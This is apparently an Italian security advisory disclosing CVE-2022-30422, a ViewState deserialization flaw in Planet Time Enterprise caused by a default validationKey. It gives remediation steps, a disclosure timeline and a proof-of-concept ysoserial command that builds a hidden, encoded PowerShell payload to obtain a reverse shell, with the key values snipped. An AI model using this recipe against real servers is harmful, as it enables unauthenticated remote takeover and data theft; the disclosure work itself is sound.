Proietti Tech Srl
Proietti Tech Srl è una società italiana di sviluppo software e produzione di apparecchiature elettroniche (lettori di badge utilizzati in presenza, controllo accessi e raccolta dati).
Descrizione Prodotto
Planet Time Enterprise è il software rilevazione presenze concepito e sviluppato da Proietti.
Un potente strumento che agevola la gestione delle risorse umane con l’automazione dei processi e lo snellimento delle procedure, rendendo disponibili le informazioni in tempo reale.
La possibilità di utilizzo sia in ambiente Windows che Web con la flessibilità di configurazione, rendono il prodotto innovativo ed ideale sia per strutture semplici che per realtà più complesse.
Il Planet Time Enterprise può essere considerato una suite completa, in grado di gestire tutti gli aspetti che coinvolgono la gestione della rilevazione presenze e risorse umane.
Technical summary
Il Cyber Security Team di Tinexta Cyber ha trovato un importante vulnerabilità su: Planet Time Enterprise Web
Assets | Vulnerability | CVSS | Severity |
Planet Time Enterprise 4.2.0.1, 4.2.0.0, 4.1.0.0, 4.0.0.0, 3.3.1.0, 3.3.0.0 | ViewState deserialization | 8.1 | High |
Nella seguente sezione vengono riportati i dettagli tecnici su questa vulnerabilità, comprese le evidenze e un proof-of-concept. Questa vulnerabilità può interessare centinaia di clienti che utilizzano il software.
Descrizione
L’applicazione risulta utilizzare una validationKey nel file web.config installata di default.
Un potenziale attaccante, avendo a disposizione la validationKey utilizzata di default dall’applicativo, sarà in grado di effettuare un attacco di VIEWSTATE deserialization ed eseguire comandi da remoto sul server, con conseguente accesso diretto alla macchina e a tutti i dati in essa contenuti.
Per sfruttare correttamente questa vulnerabilità, non è necessaria alcuna autenticazione.
Di seguito viene riportato un esempio di come è stato possibile eseguire comandi da remoto sfruttando la vulnerabilità.
Proof of Concept
Di seguito viene riportato il comando utilizzato per generare il payload che ha consentito di eseguire comandi da remoto attraverso una POST request come parametro VIEWSTATE:
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -ep bypass -windowstyle hidden -encodedCommand JABjAG-wAaQBlAG4Ad.. snipped..UAbgB0AC4AQwBsAG8AcwBlACgAKQAKAA==" --validationalg="SHA1" --validationkey=".. snipped.." --generator=..snipped..
Dopo aver generato il comando è stata effettuata una POST request con il payload creato sopra.
Evidenza 1 – Richiesta POST
Dopo aver inviato la POST request il risultato del payload è una shell interattiva sul server che ospita l’applicativo.
Evidenza 2 – Reverse Shell ottenuta
Impatto
L’attaccante può ottenere accesso al server remoto ed eseguire comandi sul sistema windows, come ad esempio esfiltrazione di dati personali o sensibili, movimenti laterali ed encryption dei dati tramite ransomware e richiesta di riscatto.
Remediation
- Assicurarsi che il framework .NET sia aggiornato all’ultima versione supportata dal vendor.
- Verificare che le seguenti impostazioni siano configurate per IIS:
– enableViewStateMac sia impostata su ‘true’
– aspnet:AllowInsecureDeserialization sia impostata su ‘false’
- Rigenerare o sostituire le chiavi di convalida nel file web.config o impostare la generazione automatica delle stesse.
- Aggiornare il software all’ultima versione disponibile.
Riferimenti
- https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/
- https://cwe.mitre.org/data/definitions/798.html
- https://dotnet.microsoft.com/en-us/apps/aspnet
- https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
- https://github.com/pwntester/ysoserial.net
- https://www.proietti.it/software-planet-time-enterprise.html
Disclosure Timeline
- 29-03-2022: Vulnerabilità scoperta
- 07-04-2022: Vendor contattato per e-mail (1a volta, nessuna risposta)
- 21-04-2022: Vendor contattato per e-mail (2a volta, il vendor risponde)
- 22-04-2022: Condiviso report con il vendor
- 03-05-2022: CVE-ID richiesto al MITRE
- 19-05-2022: Vendor richiede verifica della patch
- 27-05-2022: CVE-ID assegnato CVE-2022-30422
- 31-05-2022: accordo per la data di pubblicazione del security advisory
- 16-06-2022: pubblicazione del security advisory